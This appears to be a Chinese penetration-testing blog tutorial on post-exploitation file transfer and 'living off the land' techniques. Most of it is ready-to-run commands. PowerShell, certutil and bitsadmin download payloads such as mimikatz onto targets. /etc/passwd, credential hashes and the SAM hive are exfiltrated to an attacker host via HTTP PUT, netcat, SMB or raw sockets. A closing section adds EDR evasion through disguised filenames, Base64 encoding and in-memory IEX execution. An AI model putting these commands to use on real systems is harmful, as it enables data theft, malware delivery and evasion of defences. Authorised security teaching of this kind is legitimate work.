渗透测试实战(一):文件传输全技法与深度解析

引言:构建隐蔽通道与 Living Off The Land 艺术

在渗透测试的后利用(Post-Exploitation)阶段,高效的文件传输能力往往是决定成败的关键分水岭。无论是向目标投递定制化恶意载荷、上传提权工具,还是将敏感数据(如凭证哈希、配置文件)渗出(Exfiltration)至外部,稳定且隐蔽的传输通道都是必经之路。

然而,在现代防御体系(EDR、AV、NIDS)日益敏感的背景下,直接上传未知二进制文件或开启非标准端口的服务极易触发警报。因此,高阶渗透测试的核心策略在于 "Living Off The Land"(LOTL,基于陆地生存)

本文将系统性地梳理在不同操作系统与网络环境下,如何利用系统原生工具(如 PowerShell、CertUtil、Bash、SMB)和轻量级临时服务,构建多样化的文件传输矩阵。我们的目标不仅是实现"传得过去",更要做到"传得隐蔽",通过模拟正常业务流量和系统行为,规避防御机制,完成从初始访问到完全控制的无缝衔接。


1. 核心战术:HTTP 协议传输

HTTP/HTTPS 协议是内网中最不可能被阻断的流量。利用系统自带工具或单命令行 Web 服务,可以快速建立传输通道。

1.1 快速搭建临时 Web 服务 (攻击机)

无需安装复杂环境,利用系统内置解释器即可拉起服务。

工具 命令示例 适用场景
Python 3 python3 -m http.server 4444 最通用,Linux/Mac 默认环境
Python 2 python2 -m SimpleHTTPServer 89 老旧 Linux 发行版
PHP php -S 0.0.0.0:8080 已安装 PHP 的服务器
Ruby ruby -run -e httpd . -p 1337 开发环境或 MacOS
Apache2 systemctl start apache2 需要持久化或复杂配置时

1.2 目标机下载技术 (Download)

优先使用系统原生二进制文件,避免上传第三方工具(如 wgetnc.exe)引起怀疑。

Linux 环境
bash 复制代码
# 标准工具
curl -o /tmp/tool http://IP/tool
wget http://IP/exploit.sh

# 无工具利用 (Bash Native)
cat < /dev/tcp/IP/80 > /tmp/received_file
Windows 环境 (LOTL 优先)
bash 复制代码
# PowerShell (最隐蔽,推荐)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/payload.exe', 'C:\Windows\Temp\p.exe')"

# CertUtil (常被监控,但绕过简单杀软有效)
certutil -urlcache -split -f http://IP/mimi.exe mimi.exe

# BitsAdmin (利用 Windows 后台服务,隐蔽性极高)
bitsadmin /transfer job1 /download /priority high http://IP/file.exe C:\Windows\Temp\file.exe

1.3 数据渗出与上传 (Upload)

默认的 Python HTTP Server 仅支持下载,上传文件需要特殊配置。

搭建支持 PUT 的服务器

使用自定义脚本(如 HTTPutServer.py)替代默认模块,核心逻辑如下:

python 复制代码
# 核心代码片段
class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        with open(self.path[1:], "wb") as f:
            f.write(content)
        self.send_response(200)
客户端上传执行
bash 复制代码
# Linux (curl/wget)
curl --upload-file secret.txt http://IP:1337/
wget --method=PUT --post-file=data.txt http://IP:1337/data.txt

# Windows (PowerShell)
Invoke-RestMethod -Uri http://IP:1337/secret.txt -Method PUT -Body (Get-Content secret.txt)
PHP 接收端 (备选)

在攻击机 Web 目录放置 upload.php

php 复制代码
<?php
  $targetDir = './uploads/'; // 确保权限为 777
  $targetFile = $targetDir . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $targetFile);
?>

上传命令:curl -X POST -F 'file=@/etc/passwd' http://IP/upload.php


2. 辅助协议:非 HTTP 通道

当 Web 流量被严格监控或阻断时,利用系统原生支持的协议进行传输。

2.1 SMB 共享 (Windows 首选)

利用 Impacket 搭建 SMB 服务器,模拟内网文件共享,极其隐蔽且无需 Web 请求。

bash 复制代码
# Kali 搭建 (支持 SMB2,避免兼容性问题)
impacket-smbserver share $(pwd) -smb2support -username test -password test

# 目标机连接与复制
net use \\Kali_IP\share /user:test test
copy \\Kali_IP\share\payload.exe C:\Windows\Temp\

2.2 SSH / SCP

适用于 Linux 环境且已获取 SSH 凭证的场景。

bash 复制代码
scp -P 2222 ./local_file user@host:/tmp/remote_path
scp -r user@host:/etc/ ./backup_etc

2.3 FTP / TFTP

适用于网络设备(路由器、交换机)或老旧 Windows 系统。

  • FTP 服务器 : python -m pyftpdlib -p 21 -w(匿名可写)

  • TFTP 服务器 : atftpd --daemon --port 69 /tftpboot


3. 极限环境:无监听与流式传输

当目标无法主动连接攻击机,或攻击机无法开启端口时,使用标准输入输出重定向。

3.1 Netcat (nc) 传输

bash 复制代码
# 接收端 (Kali)
nc -lvnp 4444 > received_file.bin

# 发送端 (Target)
nc -nv 192.168.1.10 4444 < /etc/passwd

3.2 PowerShell TCP 传输 (无 NC 环境)

直接使用 .NET 的 Socket 对象进行流式传输,绕过对 nc.exe的依赖。

bash 复制代码
$client = New-Object System.Net.Sockets.TCPClient('IP',Port);
$stream = $client.GetStream();
$fileStream = [System.IO.File]::OpenRead('C:\secret\hash.txt');
$fileStream.CopyTo($stream);
$fileStream.Close(); $stream.Close(); $client.Close()

4. 自动化框架集成 (Metasploit)

在 Meterpreter 会话中,使用内置命令确保传输稳定性。

操作 命令 说明
上传 upload /local/payload.exe C:\\Windows\\Temp\\ 自动处理 Windows 路径转义
下载 download C:\\Windows\\System32\\config\\SAM ./ 下载注册表或敏感文件
搭建服务 use auxiliary/server/ftp 快速搭建 FTP 陷阱或传输点

5. 防御规避建议

  1. 伪装流量 :尽量使用 80/443 端口,并将文件命名为常见文件名(如 update.exe, logo.png)。

  2. 编码混淆 :使用 certutil -encode或 Base64 编码传输文件,在目标端解码执行,以绕过内容检测。

  3. 内存执行 :优先使用 powershell IEX (New-Object Net.WebClient).DownloadString(...)直接在内存中加载脚本,避免文件落盘。

免责声明:本文档仅供授权的渗透测试与安全研究使用。严禁用于非法用途。

相关推荐
cd_949217211 小时前
HPE以全新自主网络能力推动“自动驾驶的网络”愿景落地,加速安全AI原生运维
网络·安全·自动驾驶
世界尽头与你2 小时前
Ollama 内存泄漏漏洞(CVE-2026-7482)
安全·网络安全·渗透测试
一拳一个娘娘腔2 小时前
第一部分:外网打点篇 —— 边界突破
安全
M158227690552 小时前
三格 SG-CAN-SPD CAN 防雷浪涌保护器|总线安全防护专家
安全
学习论之费曼学习法2 小时前
Agent安全与防护:防止Prompt注入和数据泄露
python·安全·prompt
数信云 DCloud2 小时前
人工智能安全观察:漫谈与AI新物种相处之道
人工智能·安全·ai·智能体
德迅云安全-小潘2 小时前
如何保护服务器的安全
运维·服务器·安全
S1998_1997111609•X2 小时前
恶意烧录级系统固件开源á进行函数值哈希泛滥污染孪生以钩子而爬虫合规系统的性能指标体系技术应用内存
安全·百度·哈希算法·量子计算·开闭原则
视觉&物联智能11 小时前
【杂谈】-人工智能风险文化对组织决策的深远影响
人工智能·安全·ai·agi